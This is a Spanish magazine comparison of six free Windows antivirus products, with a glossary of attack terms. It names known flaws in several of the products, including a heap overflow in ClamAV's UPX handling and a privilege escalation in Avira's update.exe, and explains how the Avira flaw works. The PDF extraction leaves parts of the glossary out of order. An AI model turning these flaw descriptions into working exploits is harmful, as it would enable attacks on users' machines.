Protege gratis tu Windows
Para principiantes
ANELKAOS

Grado de dificultad

Analizamos seis antivirus gratuitos para los sistemas operativos de Microsoft. Existen soluciones gratuitas contra los virus y gusanos de Internet lo suficientemente potentes como para mantener al margen de nuestros ordenadores a la mayoría de estos archivos maliciosos.

S

e conocen innumerables métodos de ataque contra los sistemas de los usuarios domésticos como también existen innumerables medidas para mitigarlos que por lo general, no se utilizan. La automatización de estos métodos culmina en los virus cuya finalidad suele ser obtener información privada, aprovechar la capacidad de almacenamiento o procesamiento ajenos, el ancho de banda, etc., por lo que es muy recomendable escanear cualquier tipo de soft descargado de la red, incluso proveniente de webs oficiales (por ejemplo, durante este año el servidor de descargas de la compañía Genius fue troyanizado explotando la vulnerabilidad WMF de los visitantes que accedían para descargar drivers). Es evidente que nunca debemos dejar la ardua tarea de proteger un sistema solamente a un antivirus ya que lo más probable es que se vea desbordado y se vulnere con bastante facilidad. Pero en última instancia, será el encargado de analizar los comportamientos anómalos de un archivo, tanto en disco como en memoria, avisando al usuario de un posible ataque contra su sistema o su intimidad. Cuando en las noticias informáticas se habla de redes de bots de decenas de miles

de ordenadores, se trata de PCs como el tuyo, con un simple archivo de unos cuantos Kilobytes de una fuente poco fiable que no ha pasado ningún tipo de control antes de ser ejecutado. La peligrosidad de la mayoría de los virus se subestima. Sobretodo en sistemas Windows donde la importancia de mantener el sistema operativo actualizado es vital para no se infectados. ¿De dónde provienen los números de cuenta y de tarjetas de crédito que manejan los phisers? Es mas que evidente que de engañar

En este artículo aprenderás...
• • Existen antivirus gratuitos que no tienen mucho que envidiar a los comerciales, Un soft de protección desactualizado puede ser el medio para vulnerar tu sistema.

Lo que deberías saber...
• • Un antivirus no es capaz de proteger todos los puntos vulnerables de un sistema, Un antivirus facilita la detección de algunos archivos maliciosos.

64

www.hakin9.org

Antivirus Gratuitos

a los usuarios mediante páginas fraudulentas pero existe otro gran porcentaje que salen de ordenadores infectados con keyloggers y diferentes tipos de troyanos. Por muchos medios de protección que utilice tu banco, no sirven de nada si se introducen desde ordenadores fácilmente vulnerables.

Las modas lo cambian todo, hasta los virus

Hemos pasado de virus bastante sencillos creados para propagarse en masa e infectar al mayor número de máquinas posibles o simplemente robar las contraseñas del correo a auténticos monstruos de la programación capaces de grabar el audio a través del micrófono de la víctima o incluso mostrar en tiempo real lo que ocurre a través de su webcam sin que esta se percate de su funcionamiento. Son técnicas totalmente reprobables que incurren en delitos contra la intimidad y de revelación de secretos pero que se dan con mayor asiduidad de la que parece. Lo mas preocupante es que cualquiera sin los mas mínimos conocimientos de programación puede acceder y configurar a su gusto este tipo de herramientas de ataque. Presentamos una serie de antivirus gratuitos que pueden evitar en algunos casos este tipo de situaciones.

Se valorará positivamente una buena gestión de memoria del producto analizado y de que manera optimiza los ciclos del procesador para el análisis de los archivos. No hay que olvidar que un PC simplemente es una herramienta y no podemos derrochar la mayor parte de los recursos en los servicios de herramientas de protección por lo que este parámetro será importante. En esta comparativa se analizaran archivos maliciosos habitualmente utilizados por atacantes con dudosa intencionalidad que es realmente de quien debe proteger un antivirus. El análisis se centrará en la detección de un grupo de troyanos, keyloggers, puertas traseras y rootkits mas o menos conocidos. A pesar de ello, los resultados os sorprenderán diciendo bastante poco a favor de los antivirus. Hay que destacar que tener un antivirus correctamente instalado y actualizado no garantiza que no existan virus en dicho sistema ya que ningún antivirus es capaz de detectar el 100% de los virus.

rabilidad de otro programa, servicio web o sistema operativo. Existen varias categorías en función del tipo de vulnerabilidad que exploten. Los programamos para introducir y ejecutar una shellcode, escalar privilegios, obtener una consola de sistema remoto, etc.

SHELLCODE

Glosario de términos para no iniciados en seguridad

Una shellcode es un conjunto de instrucciones, programadas generalmente en lenguaje ensamblador, que se suelen inyectar directamente en la pila mediante un exploit para conseguir que el sistema en el que se introduce, ejecute la serie de instrucciones programadas. El microprocesador solo entiende sistema binario (unos y ceros) que traduce desde la memoria. Cada instrucción lleva asignado un código en sistema hexadecimal que lo hace mas legible que el binario directamente. Las mas pequeñas tan solo ocupan 22 bytes y se utilizan principalmente para devolver una consola del sistema. En ocasiones los crackers introducen en ellas instrucciones no documentadas.

Parámetros de valoración

Realizamos una comparativa un poco atípica ya que por lo general, se comparan aspectos que no garantizan que un antivirus sea mejor que otro como puede ser el diseño de su interfaz gráfica, su usabilidad, portabilidad, etc. No es la finalidad de este artículo ya que damos por hecho que nuestros lectores son perfectamente capaces de utilizar todas las opciones que ofrece cada uno de los productos descritos. Nos centraremos en la seguridad que estos ofrecen. Las características que hacen a un antivirus superior a otro básicamente son que detecte un mayor número de amenazas y sea ligero y transparente para el usuario.

Termino informático referente a una caída del sistema. Se produce al realizar operaciones inválidas, bucles infinitos o saturar la memoria del PC (normalmente la RAM aunque también es posible la memoria de las tarjetas gráficas o de sonido) hasta que salta una excepción del sistema operativo que generalmente termina con un reinicio del PC o cuelgue.

BUFFER OVERFLOW

Vulnerabilidad que se produce cuando en el valor de una variable se escribe un valor demasiado grande sobrescribiendo las direcciones de memoria siguientes. La finalidad de este ataque es efectuar un salto a código arbitrario.

HEAP OVERFLOW

VULNERABILIDAD

Fallo de diseño o implementación que compromete la seguridad de un programa o del sistema en el que se encuentra instalado. Las vulnerabilidades se catalogan según su gravedad. No se debe instalar nunca un programa con vulnerabilidades críticas conocidas sin que exista un parche que lo corrija.

Vulnerabilidad que se produce cuando en el valor de una variable se escribe un valor demasiado grande sobrescribiendo el valor de otra dentro la memoria reservada para un programa o área de memoria dinámica.

ROOTKIT

EXPLOIT

Código, programa o técnica utilizada para explotar cualquier tipo de vulne-

Conjunto de herramientas que tras ser instaladas garantizan el acceso remoto posterior a un atacante ocultado a los usuarios legítimos sus actividades. Permiten el control total del sistema atacado. Los antivirus no suelen ser capaces de detectarlos.

www.hakin9.org

65

Para principiantes

KEYLOGGER

Programa generalmente malicioso que captura las teclas pulsadas almacenándolas en un archivo o enviándolas directamente por red. Esta función es habitualmente implementada en gran parte de virus.

TROYANO

Programa malicioso con modelo cliente-servidor que sirve para acceder a los ordenadores que tengan el servidor en ejecución. Posibilitan el robo de archivos, contraseñas, imágenes a través de webcam, sonido a través del micrófono, y el control del resto de periféricos.

GUI

Acrónimo de Graphic User Interface o Interfaz Gráfica de Usuario. Es la forma interactiva de presentar información ante el usuario que tiene un programa o sistema operativo. La usabilidad de un GUI es la medida de lo fácil rápido y agradable que es utilizarlo.

UPX

Acrónimo de the Ultimate Packer for eXecutables es un empaquetador de ejecutables con licencia GNU, portable y de alto rendimiento. Generalmente tiene un ratio de compresión mejor que WinZip. UPX soporta diferentes formatos de ejecutables, incluyendo programas de Windows y DLLs

ClamWin

Probamos el antivirus gratuito más conocido en Internet en su versión 0.88.4 totalmente funcional sobre arquitecturas de 64 bits. Una de las grandes virtudes de este desarrollo GNU es la oportunidad de descargar su código fuente con el fin de revisarlo, personalizarlo o mejorarlo. Cualquier programador de C++ o Python puede aportar ideas, sugerencias y mejoras en la web oficial del producto sin fines de lucro. Su instalador tan solo ocupa 5,46 Mbytes. Al iniciar la instalación, podemos elegir entre la típica, personalizada o completa: con un tamaño en disco

de entre 21,7 Mbytes y 22,4 Mbytes. También es posible personalizar los módulos que se desean cargar, mientras que la instalación completa incluye la descarga de los archivos de ayuda, que de momento sólo están disponibles en tres idiomas, inglés, ruso y francés en formato chm. ClamWin utiliza el motor de análisis ClamAV y, siempre que tengamos conexión, nos notificará de si existen nuevas versiones del antivirus, así como de actualizaciones diarias. Se puede configurar las actualizaciones a través de un proxy. Respecto a su rendimiento, detecta gran parte de spyware y se integra en los menús de Explorer y Outlook, por lo que es posible un análisis rápido de un archivo sin más que pulsar el botón derecho. Asimismo, brinda la posibilidad de programar análisis a determinados directorios desde el menú Tools/ Preferences/Scheduled Scans/Add especificando la frecuencia de estos. Típicamente, se deberían examinar las carpetas que almacenan los archivos temporales del sistema operativo, los temporales del navegador, las cookies y las carpetas de descargas. Una opción interesante es la notificación por correo electrónico de las infecciones, es decir, podemos dejar nuestro PC conectado y ser advertidos vía mail al instante de ser detectado un fichero malicioso (requiere servidor SMTP). Por otro lado, ClamWin permite incluir o excluir ciertas extensiones del análisis, pero recomiendo no excluir ningún tipo de archivo, ya que se pueden cambiar las cualidades de prácticamente cualquier tipo. Por ejemplo, es posible construir un MP3 que realmente contenga un vídeo o un código malicioso para ser interpretado por nuestro reproductor y que éste lo ejecute, o bien hacer uso de Alternate Data Stream en NTFS ocultando al usuario medio cierta información, etc. El proceso residente del antivirus se llama ClamTray.exe y es bastante ligero, funciona con tan sólo un par de megas de RAM pero la protección a tiempo real es bastante deficiente.

Por el contrario dispone de un motor de búsqueda en el análisis bajo demanda superior en algunos casos a ciertos antivirus comerciales. Como curiosidad, la Interfaz gráfica de usuario contiene un fallo mediante el cual es posible realizar un crash del sistema debido a que no existe un límite establecido en el número de llamadas al GUI. Viene a ocupar una cantidad importante de memoria, del orden de entre los 7 y los 25 Mbytes. En la última versión analizada se corrige una vulnerabilidad crítica de ejecución de código arbitrario en libclamav/upx.c en la función memcpy() explotando un heap overflow. Se podía aprovechar mediante archivos ejecutables comprimidos con UPX dejando completamente vulnerable el equipo o programando el exploit para abusar de esta vulnerabilidad.

FICHA
• • Valoración 4,2 Calidad/Precio 4,2

Contacto
• • Clam Antivirus http://www.clamwin.com

Lo mejor

Manual disponible en formatos chm, pdf, existen foros de ayuda en inglés y permite su ejecución desde un CD o unidad USB.

Lo peor

No incluye enciclopedia de virus, mala protección a tiempo real.

AVG Free Edition

La versión 7.1.405 del antivirus gratuito de la compañía Grisoft está disponible desde el 11 de Agosto y tiene un instalador de 16,9 Mbytes ofreciendo al usuario dos tipos de instalación, la personalizada y la estándar. Personalizando la instalación ofrece la posibilidad de cargar diversos plugins de análisis de clientes de correo ya sea The Bat!, Outlook, Eudora o cualquier otro cliente de correo. El manual oficial se encuentra

66

www.hakin9.org

Antivirus Gratuitos

en http://free.grisoft.cz.softw/70free/ doc/avg _fre_ref_en_71_5.pdf. Tras su instalación, aparece la guía de primera ejecución la cual ayuda al usuario a actualizar el antivirus, crear un disco de recuperación, escanear el PC y finalmente registrarse si se desea. En primer lugar se debe proceder a la actualización ya sea desde Internet o desde una carpeta accesible desde el PC. En la actualización desde Internet se muestra un formulario que mantiene informado en todo momento al usuario con el tráfico descargado. Respecto al disco de rescate es preferible realizarlo desde el propio sistema operativo para evitar conflictos entre sistemas de archivos y permisos NTFS por lo que continuo con el siguiente paso. En tercer lugar ofrece la posibilidad de escanear todo el PC en busca de virus, comenzando por la tabla de particiones, sector de arranque, registro del sistema operativo, claves de registro con procesos y servicios en ejecución, librerías de linkado dinámico, archivos de sistema y el resto de archivos por este orden de prioridad. Finalmente AVG Free ofrece la posibilidad de registrarse para conseguir acceso a los foros de discusión y soporte técnico del antivirus, recibir información de la familia de productos de Grisoft. En la versión Professional está disponible en castellano al igual que muchas otras opciones deshabilitadas en la versión Free tales como el análisis de avanzado, reporte de archivos protegidos por contraseña, ajuste de la prioridad del proceso de exploración, etc. El Control Center de AVG posee un entorno gráfico bastante vistoso y sencillo con siete paneles de configuración donde podremos configurar las propiedades de cada uno. El Test Control dispone de tres opciones principales, escanear todo el PC, escanear ciertas carpetas o unidades extraíbles como disquetera, pendrive, unidades de CD o DVD, y comprobar si existen nuevas versiones. Dispone de un menú que presta acceso a centro de control que sirve para configurar las opcio-

nes de los análisis. Dentro de la protección a tiempo real ofrece una opción muy interesante y que dota de gran eficiencia a este antivirus, se trata del On-close scanning o escaneo de una aplicación que se cierra, es recomendable marcar este checkbox, de otra forma, solo se escanean las aplicaciones al ser abiertas. Virus Vault, o jaula de virus será el lugar del disco duro donde se muestren los archivos infectados. Por defecto se reserva el 20% de la capacidad de la partición en el que se instala. En el botón Test Result del Test Center podemos ver los registros de todos los análisis realizados accediendo a una enciclopedia de virus online sin mas que utilizar el evento doble clic sobre el archivo infectado detectado. Sus métodos de protección son varios que paso a detallar. AVG Free realiza un análisis heurístico, es decir, aplica un algoritmo de búsqueda optimizado reduciendo al mínimo el tiempo de ejecución, consumiendo por tanto el menor número de ciclos de reloj del microprocesador. La eficiencia de estos métodos de análisis se utiliza en la mayoría de los antivirus de pago, se consiguen optimizando las funciones matemáticas de búsqueda y sirven para que no se abuse del microprocesador en el escudo residente. La detección genérica se reduce a comparar los archivos con la base de firmas del antivirus. Este antivirus utiliza 5 procesos independientes pero ninguno de ellos suele superar los 8 Mbytes en memoria a no ser en tiempo de análisis con una carga considerable. El proceso avgb.dat se corresponde con el Test Center. avgw.exe y avgcc.exe se ejecutan con los privilegios del usuario de la sesión mientras que el resto (avgamsrv.exe, avgem.exe y avgupsvc.exe) lo hacen con privilegios de sistema ya que son los tres servicios (Alert Manager Server, E-mail Scanner y Update Service) que instala este antivirus. Es posible reducir la carga del Con-

trol Center en memoria gracias a la vista en modo reducido que se puede seleccionar en el menú View o pulsando F3. Además dispone también de la solución anti-spyware ewido. Si se instala en un sistema junto con Norton Internet Security no se debe instalar el plugin para Microsoft Office para evitar conflictos entre ambos programas.

FICHA
• • Valoración 5,42 Calidad/Precio 5,42

Contacto
• • • Grisoft http://free.grisoft.com 902 36 46 95

Lo mejor

Existen múltiples hot keys para un rápido acceso a cada opción de los diferentes menús. Muy configurable. Manual muy completo.

Lo peor

La selección del lenguaje está bloqueada a inglés en la versión Free.

BitDefender 8 Free Edition

SoftWin es una empresa de soft que se dedica a la detección de archivos maliciosos con sus diferentes productos BitDefender. Su antivirus utiliza el mismo motor de búsqueda que otras versiones comerciales de BitDefender certificado por ICSA. Se desarrolla en Barcelona con el apoyo de los laboratorios principales en Estados Unidos y Rumania. Como siempre, dispone de la instalación típica, completa y personalizada. El espacio requerido en disco alcanza un máximo de 37MBytes y un mínimo de 12 Mbytes. Tras la instalación realiza un análisis volcando el contenido de los resultados muy detallados a un fichero en texto plano visible pulsando el botón Show reports o también podemos visualizar y gestionar todos los registros de análisis en la pestaña Reports.

www.hakin9.org

67

Para principiantes

Este antivirus suele salir bastante bien parado en las comparativas por su alto índice de detección de archivos maliciosos pero la realidad es bien distinta. No posee protección residente por lo que es relativamente sencillo burlarlo sin que el usuario se percate. No recomiendo en absoluto un antivirus sin este tipo de protección a pesar de tener un excelente ratio de localización de virus debido a su excelente motor de búsqueda. También es necesario modificar los permisos de usuario debido una política bastante restrictiva de permisos, esto es una virtud aunque no lo parezca. Prácticamente todas las alertas pueden configurarse para que BitDefender responda a la aparición de cualquier tipo de archivo malicioso que detecte. bdmcon.exe consume unos 9 MB y junto con bdss.exe que con sume aproximadamente 26 MB de memoria forman el grueso del antivirus. xcommsvr.exe es el proceso que utilizan varios componentes del antivirus para comunicarse, es mas ligero, suele utilizar 3 MB cuando mantiene los buffer de transmisión vacíos. Existen otros dos procesos mas en ejecución con un consumo de memoria de menos de 1 MB, son bdnagent.exe y bdswitch.exe. Otro aspecto a destacar es el Self-repairing la recuperación del antivirus ante ataques contra la integridad de sus archivos sin necesidad de descargarlos de nuevo. Si tenemos conexión el antivirus intentará contactar con los servidores de BitDefender para determinar si hay disponible alguna nueva versión del antivirus o de las firmas este nos avisa. Además dispone de un modulo capaz de reparar, modificar o desinstalar los propios archivos del antivirus. Esta herramienta es de gran ayuda si se da el caso de que nuestro antivirus sea atacado directamente por un cracker.

Contacto
• • • • SoftWin www.bitdefender.com support@bitdefender.com 93 217 91 28

Lo mejor

Actualizaciones frecuentes, motor rápido.

Lo peor

No dispone de protección residente.

Avast! 4 Home Edition

Analizamos la versión 4.7.844 de Automated Vulnerability Analysis Support Tool (AVAST), el antivirus gratuito, de uso privado y no comercial de Alwil Software. Tiene un periodo de 60 días para registrar vía web el producto poder utilizarlo durante 14 meses con cada registro. Puedes registrarte de forma gratuita cuantas veces quieras. Tras la instalación se pregunta al usuario si desea programar una búsqueda de virus al inicio del sistema. Si respondemos afirmativamente al reiniciar el PC se ejecuta una búsqueda de archivos maliciosos antes incluso de cargar ciertos servicios de Windows. El análisis es algo lento pero muy exhaustivo. El programa de instalación instalará los módulos de protección para los siguientes componentes: • • • • • • • • • Mensajería instantánea, Protección P2P, Correo de internet, Outlook/Exchange, Escudo de Red, Protección Web, Protección Estándar, Extensión del idioma español, Ayuda en español.

FICHA
• • Valoración 7,1 Calidad/Precio 7,1

Inicialmente configuraremos el escáner por acceso de Avast! (icono con a del área de notificación de la barra de tareas). Aumentaremos la sensibilidad del escáner moviendo la barra de desplazamiento hasta Alto. Pulsando en el botón Detalles pasamos a visualizar todos los módulos residentes instalados configu-

rándolos por separado ofreciendo la posibilidad de pausar, detener e iniciar los módulos por separado. Con cada cambio el antivirus pregunta si se desea mantener ese cambio en el estado del módulo de forma permanente o solo en la sesión actual. Cada uno de los módulos dispone de un contador de escaneos, infecciones y tiempo que lleva operativo, este último contador es muy útil para saber si en algún momento se ha detenido alguno de los módulos por un atacante. Una vez configurado de esta forma y con las opciones personalizadas que cada usuario estime oportunas a su sistema podemos actualizar las firmas de virus (Vps). Accediendo al Interfaz de Usuario Simple de Avast! desde el menú de programas podemos configurar el tipo de escaneo bajo demanda en tres niveles (rápido, estándar y minucioso). Recomiendo marcar el checkbox de archivos comprimidos para evitar que se oculten virus en archivos de este tipo. Tras arrancar el antivirus desde el sistema operativo realiza un análisis de memoria e inicio analizando todo cuanto esté en la memoria RAM. Incluso analiza el archivo pagefile.sys. Al detectar cualquier tipo de archivo malicioso ofrece la posibilidad de mover al Baúl para que no sea posible su ejecución pero por otra parte, la versión analizada, permite copiarlo al mismo directorio del antivirus lo que podría suponer un riesgo para el usuario. La BDRV (Virus Recovery Database) es un generador de una base de datos de integridad para la recuperación de archivos implementado por Avast! para verificar si se ha corrompido alguno de los archivos del sistema. Esta comprobación se realiza cada 3 semanas o cada vez que se activa el protector de pantalla y si un virus modificase alguno de los archivos de sistema seria detectado y reparado, en principio. Es muy recomendable utilizar la BDRV en el caso de usar Thunderbird ya que bajo ciertas circunstancias, avast! es capaz de corromper toda la bandeja de entrada.

68

www.hakin9.org

Antivirus Gratuitos

También dispone de protección a nivel del núcleo del sistema operativo para detectar módulos maliciosos que hagan llamadas al kernel. Aún así no ha sido capaz de detectar el keylogger utilizado en esta comparativa. Los procesos que utiliza este antivirus requieren un uso de memoria muy bajo, debido al procesamiento modular tan ramificado que utiliza el avast!. ashSimp.exe es el interfaz que junto con AshDisp.exe forman los procesos que ejecuta el usuario; mientras que ashServ.exe necesitará casi 11 MB para su correcto funcionamiento, un poco excesivo, requiriendo privilegios de sistema junto con ashWebSv.exe y aswUpdSv para las tareas que realizan (actualización, servicios de acceso al kernel, etc). Con cada detección de archivos maliciosos Avast! dispone de una enciclopedia de virus para conocer mas detalladamente la amenaza detectada que junto con su completo manual de obligada lectura para una configuración correcta forma la documentación de este antivirus. La versión Professional configurada para una protección máxima da problemas con la opción del proxy transparente de Avast! si se utiliza el cortafuegos Zone Alarm. El dia 8 de septiembre se publica una vulnerabilidad crítica en el motor de las versiones anteriores a la 4.7.869 para estaciones de trabajo y 4.7.660 en la versión para servidores según la cual, al procesar archivos con compresión LHA y nombres de archivos y directorios extendidos, se puede provocar un desbordamiento en el buffer del motor permitiendo así la ejecución arbitraria de código. Como curiosidad existe una web dedicada a la creación de skins para el antivirus con numerosas muestras. http://www.avast.com /eng /skins. html.

Contacto
• • • • Alwil Software http://www.avast.com support@asw.cz +420 274 005 666

Lo mejor

Sencillez y buena tasa de detección. Ayuda en castellano.

Lo peor

Consumo excesivo de recursos en las actualizaciones y buffer overflow en el motor del antivirus.

Avira AntiVir Personal Edition Classic

Avira, los compradores germanos del archiconocido CIA Commander, ofrecen la versión 7 (6.35 en realidad) de su antivirus gratuito. Este producto dispone de dos tipos de instalación, una completa y otra personalizada donde permite seleccionar tres módulos: • AntiVir Personal Edition Classic – Módulos de instalación del antivirus, AntiVir Guard – Modulo de protección residente, Shell Extension – Integración en el menú de Windows Explorer.

• •

FICHA
• • Valoración 6,54 Calidad/Precio 6,54

Una vez instalado se actualiza automáticamente desde Internet. Abriendo el centro de control del antivirus observamos un sencillo interfaz de pestañas. Dirigiéndonos al menú Extras seleccionando Configuration o pulsando [F8 ] desde el Control Center del antivirus accedemos a la configuración del escáner. Marcando el checkbox con la etiqueta Expert mode se habilitan los niveles de prioridad del escaneo de gran utilidad si se requiere el procesador para ejecutar otras tareas simultaneas. Marcaremos el radio button para el análisis de todos los tipos de archivos por mayor seguridad. Navegando hasta Guard dentro del árbol repetiremos la misma operación para que analice todos los tipos de archivo en la protección a tiempo real. Marcando General en el árbol

ahora seleccionaremos los tipos de programas que desearemos analizar según su categoría. Si el usuario desconoce alguna de las opciones del antivirus existe una pequeña descripción de cada una en la parte inferior de la ventana que aparece tras utilizar el evento click sobre la zona de la opción desconocida. También se puede acceder a la ayuda (en inglés) del antivirus pulsando [F1] en cualquier momento. Volviendo a la ventana principal, marcando en la pestaña Guard podemos comprobar si se ha accedido a algún archivo malicioso ya que este antivirus analiza por defecto cada archivo en el que se lee o escribe. También dispone de un modulo capaz de reparar, modificar o desinstalar su antivirus. Esta herramienta es de gran ayuda si un atacante malintencionado vulnera el antivirus como veremos en la parte final del análisis al antivirus de Avira. Otra de las pestañas interesantes es Quarentin donde podemos ver los virus enviados a la zona de cuarentena con la posibilidad de enviar archivos sospechosos a Avira para un análisis mas especializado. También permite aislar los archivos de ejecución para analizarlos con futuras actualizaciones y restaurarlos si finalmente no se consideran maliciosos o eliminarlo. La ligereza de este antivirus es una característica a destacar ya que solo necesita un proceso en ejecución continua llamado avgnt.exe que necesita poco mas de 5 MB para funcionar. Si accedemos al Control Center entra en ejecución avcenter.exe que requiere aproximadamente 8 MB. En el análisis bajo demanda aparece la ventana del Luke Filewalker que desvela al usuario información extra sobre el escaneo. Permite guardar un registro de análisis muy detallado en archivos de texto plano y acceder a una enciclopedia on-line de virus. El principal problema es que a fecha de la realización de esta comparativa existe una vulnerabilidad en el proceso update.exe que permite escribir valores arbitrarios en memoria, lo que posibilita la ejecución

www.hakin9.org

69

Para principiantes

de cualquier código con privilegios de SYSTEM. Esto se conoce como una escalada de privilegios local y es utilizada por los crackers para hacerse con el control total de un sistema una vez que consiguen ejecutar comandos en remoto con privilegios restringidos. La vulnerabilidad se encuentra en la barra de control de progreso de update.exe que permite aceptar mensajes PBM_GETRANGE y PBM_SETRANGE de usuarios independientemente de sus privilegios y no verifica el parámetro IParam. Es conveniente habilitar la protección de memoria DEP de Windows y seguir una estricta política de usuarios ya que de momento el fabricante no ha corregido esta vulnerabilidad.

FICHA
• • Valoración 6,25 Calidad/Precio 6,25

Contacto
• • • • Avira Web oficial: http://www.free-av. com En castellano: http://original. avira.com +49 754 500 400

Lo mejor Lo peor

Muy ligero para el sistema.

Vulnerabilidad de escalada de privilegios local sin corregir a fecha de esta comparativa.

eTrust EZ Antivirus

De forma gratuita, tras registrarse en http://www.my-etrust.com/microsoft/ Computer Associates ofrece durante un año el antivirus con las certificaciones de ICSA, West Coast Labs y Virus Bulletin. En el momento de realizar esta comparativa solo estaba disponible la versión 7.1 en castellano por lo que las pruebas se realizaron con la versión 7.2 en ingles. El proceso de instalación es trivial por su sencillez. El acceso al Internet Security Center requiere del proceso caiss.

exe que utiliza 4,6 MB. Incluye versiones anteriores de EZ Armor, y EZ Antivirus y la posibilidad de instalar el resto de módulos que conforman la suite de seguridad compuesta por el antivirus versión 7.2.0.0 con licencia válida durante un año, cortafuegos, anti-spam y el anti-espías Pest-Patrol (estos tres últimos disponibles en la web de eTrust en su versión de prueba de 30 días). El interfaz del antivirus se carga mediante el proceso CAV.exe que requiere aproximadamente 12 MB de memoria en función de la tarea a realizar. Es sencillo pero directo, cuatro botones muestran las principales tareas, escanear el PC, programar un escaneo, seleccionar archivos y carpetas a escanear o configuración. En las pestañas están dispuestas otras funciones como actualizar, herramientas y la ayuda con solucionador de problemas y enciclopedia de virus. En la pestaña Update encontramos los botones de actualizar el antivirus, programador de actualizaciones y configuración del proxy si no queremos conectar directamente a Internet. Dentro de la pestaña Tools podemos ver los objetos aislados dentro de la zona de cuarentena, los registros del escáner y de actualización completamente detallados. Si se diera el caso de una infección es recomendable pulsar el botón System Report para crear un informe de la situación del ordenador enviándolo al soporte técnico para un análisis exhaustivo. Este antivirus destaca por el eficiente uso de memoria que hace con dos motores de búsqueda simultáneos. Con su instalación, cuatro procesos se cargan en memoria: • • • • CAVRid.exe: 2,8 MB, CAVTray.exe: 4 MB, Caissdt.exe: 5,35 MB, VetMsg.exe: 3,7 MB.

antivirus gratuito en servidores de correo. Se integra perfectamente con Microsoft Exchange y permite su actualización a través de proxy con autenticación. Los usuarios que hayan probado el scanner online de la compañía Computer Associates deberían saber que recientemente se han descubierto dos vulnerabilidades críticas en su servicio WebScan; una permite la ejecución remota de código mediante la explotación de un buffer overflow mientras que la otra es debida a que no se validan correctamente ciertos parámetros lo que permite comprometer la integridad del control ActiveX del antivirus online. Es recomendable desinstalar todos los archivos generados por esta herramienta en el PC del usuario y mas tarde seguir las instrucciones de la web oficial del fabricante.

FICHA
• • Valoración 7 Calidad/Precio 7

Contacto
• • • Computer Associates www.ca.com/es/ 91 768 70 00

Lo mejor

Interfaz sencillo e intuitivo con manual disponible tras su instalación en formato chm. Uso eficiente de memoria.

Lo peor

Baja tasa de detección en tiempo real. Tiempo excesivo en análisis completos.

Opinión sobre antivirus gratuitos

Esta certificado para funcionar con Windows Server 2003 Standard, Enterprise y Data Center Editions por lo que es una buena apuesta como

La verdadera amenaza y la realidad sobre los antivirus Son el Yin y el Yang de la informática, los chicos malos siempre juegan con ventaja mientras que las empresas de antivirus van siguiendo las pautas que marcan los virus. Esta carrera, liderada desde su comienzo por los creadores de

70

www.hakin9.org

Antivirus Gratuitos

virus, es una continua persecución en la que por lo general, aparece un virus innovador, se detecta y sus programadores lo consiguen hacer indetectable de nuevo. Realmente es sencillo manipular un virus conocido y hacerlo indetectable a cualquiera de estos antivirus analizando su firma o mediante métodos de ofuscación por lo que tener un PC con antivirus no implica que no pueda contener ningún tipo de virus. El suculento mercado de los antivirus no es tal como se intenta vender. Incluso un antivirus desactualizado podría facilitar a un atacante malintencionado la manera de vulnerar un sistema tomando el control completo de este. Los antivirus comerciales, en su gran mayoría, tampoco ofrecen grandes ventajas a parte de una buena atención al cliente. Las últimas versiones de los más aclamados como son Kaspersky y Nod-32, recientemente eran pasto de los hackers quienes explotando desbordamientos o realizando escaladas de privilegios en estos programas eran capaces de hacerse con el control de los ordenadores en los cuales estaban instalados. Cualquier archivo es susceptible de ser malicioso, por ello, aconsejo el servicio de análisis de ficheros de Virustotal que ofrece de forma gratuita Hispasec Sistemas en la web http://www.virustotal.com donde se analizará cualquier archivo con multitud de motores antivirus. También existen herramientas similares para análisis con múltiples antivirus como KIMS 1.2, desarrollado por Thor, cuya última versión pública puede descargarse de http:// remotecontrolstudio.net. La ventaja de este programa es que siguien-

do algunos pasos descritos en el manual, se puede integrar prácticamente cualquier herramienta de detección. Una recomendación para mejorar el rendimiento de los antivirus muy a tener en cuenta por los usuarios domésticos que utilizan usualmente los P2P es mantener lo que se llama higiene de disco. Básicamente esto se reduce a defragmentar y buscar clusters defectuosos habitualmente. De otra forma, se puede pasar un tiempo excesivo (de varias horas con el tamaño de los discos duros actuales) realizando un escaneo en busca de archivos potencialmente peligrosos. Volviendo a la comparativa, una alternativa muy provechosa es ClamWin ya que podemos instalarlo comodamente en un pendrive y analizar cuantos PCs necesitemos sin perder tiempo en instalarlo en cada uno de ellos pero no detecta archivos maliciosos con compresión 7z. Destacamos el motor el potente motor del antivirus BitDefender que unido a un buen ratio de detección hacen de esta herramienta gratuita una de las mas interesantes actualmente. Es una verdadera pena que no disponga de protección en tiempo real ni análisis del correo electrónico pero si están disponibles en su versión de pago. La solución gratuita de Alwil Software también ha dado excelentes resultado en comparación con el resto ya que ha sido capaz de hallar algunos troyanos modificados para hacerlos indetectables. Hará las delicias de los lectores que dan mucha importancia a la estética con sus numerosos skins en la web detallada en su análisis. También dispone de protecciones para mensajería instantánea y P2P.

Sobre el Autor...

ANELKAOS estudia Ingeniería Industrial en España, lleva 13 años coleccionando virus siendo creador de un buen número de ellos y métodos de intrusión que no son públicos. Es un apasionado de los rootkits y la inseguridad informática. Colabora principalmente en elhacker.net y en el live CD Wifislax. Se puede contactar con él a través de http://foro.elhacker.net.

Recordad que un antivirus no sirve prácticamente para nada en un sistema mal configurado por lo que en próximas entregas de esta revista os enseñaremos a defender Windows con una configuración avanzada consiguiendo un grado de seguridad muy alto. Lo mejor: Estos productos son una alternativa económica a algunos antivirus mas caros y no por ello mucho mejores. Son bastante rápidos en detectar las amenazas mas habituales como pueden ser troyanos conocidos, virus que explotan vulnerabilidades en los sistemas operativos parcheadas hace tiempo, etc. Si en algún momento vuestros PCs funcionan mas lentos de lo habitual, realizan operaciones extrañas cuando no se trabaja con ellos, no permiten abrir o cerrar algunos documentos la instalación y el análisis con uno de estos productos es vital para determinar si la causa posible de ese comportamiento es debida a un virus. BitDefender y avast! destacan por el servicio de protección de integridad de archivos de que disponen. Lo peor: No os dejéis engañar por la falsa sensación de seguridad que intentan vender algunas compañías de antivirus. Cuando un fabricante dice que su producto detecta el 100% de los virus se refiere a los virus conocidos y de ciertas bases de datos en las que por supuesto, no están incluidos los virus recién creados. En la tabla de características podéis ver que los antivirus analizados configurados en grado máximo de protección no han conseguido detectar mi rootkit KAOS, diversas shells inversas o el Kernel Keylogger. Ningún producto es capaz de detectar todos los virus existentes por lo que un antivirus es una medida de seguridad muy relativa. Además es posible que instalando versiones antiguas de estos productos vuestros PCs sean atacados explotando las vulnerabilidades descritas en los análisis individuales de cada antivirus como por ejemplo Avira AntiVir para el que no es muy complicado realizar el exploit. l

www.hakin9.org

71

Test de consumidores

Test de consumidores – Los programas Antivirus
